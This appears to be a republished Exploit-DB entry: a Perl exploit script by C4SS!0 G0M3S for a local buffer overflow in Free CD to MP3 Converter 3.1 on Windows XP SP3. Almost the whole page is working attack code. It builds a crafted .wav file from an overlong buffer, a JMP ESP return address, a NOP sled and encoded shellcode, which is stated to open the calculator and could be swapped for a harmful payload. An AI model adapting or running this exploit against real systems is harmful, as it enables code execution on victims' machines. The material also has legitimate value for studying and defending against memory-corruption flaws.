Free CD to MP3 Converter 3.1 – Local Buffer Overflow - 体验盒子

作者： C4SS!0 G0M3S

日期： 2010-11-10

类别：

local

平台：

windows

来源：https://www.exploit-db.com/exploits/15480/

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#!usr/bin/perl

#Exploit Title: Exploit 0day Buffer Overflow Free CD to MP3 Converter 3.1

#Date: 09\11\2010

#Author: C4SS!0 G0M3S

#Software Link: http://www.eusing.com/Download/cdtomp3freeware.exe

#Version: 3.1

#Tested on: WIN-XP SP3

#

#Exploit Writted by C4SS!0 G0M3S

#

#Home: http://www.invasao.com.br

#

#E-mail: louredo_@hotmail.com

#

use IO::File;#import IO:File

system("cls");

system("color 4f");

sub usage

{

sub image

{

print("\n\n");

print(" ______________\n");

print(" <C4SS!0 G0MES>\n".

" --------------\n".

" \\ \,__\,\n".

"\\-- (oo)____\n".

"(__))\\\n".

" ||--|| \n\n\n\n");

}

image;

print("[+]Exploit: Buffer Overflow Free CD to MP3 Converter\n\n".

"[+]Author: C4SS!0 G0M3S\n\n".

"[+]Home: http://www.invasao.com.br\n\n".

"[+]E-mail: Louredo_\@hotmail.com\n\n\n".

"[+]Usage: exploit.pl <File to create>\n".

"[+]Exemple: exploit.pl music.wav\n");

}

if($#ARGV != 0)

{

usage;

}

else

{

image;

$buffer="\x41" x 4112;

$eip=pack('V',0x004D97BB);#Jmp Esp From(cdextact.exe)

#Exec the Calc

$shellcode="\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .

"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .

"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .

"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .

"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .

"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .

"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .

"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .

"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .

"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .

"\x7f\xe8\x7b\xca";

$nops="\x90" x 50;

print("[+]Writing in the Shellcode @ARGV[0] File\n\n".

"[+]Identifying the Length of the Shellcode\n\n".

" [+]Length of the Shellcode:".length($shellcode)."\n\n".

"[+]File @ARGV[0] Created Successfully\n\n");

open(f,">@ARGV[0]");

print f $buffer.$eip.$nops.$shellcode.$nops;

close();

}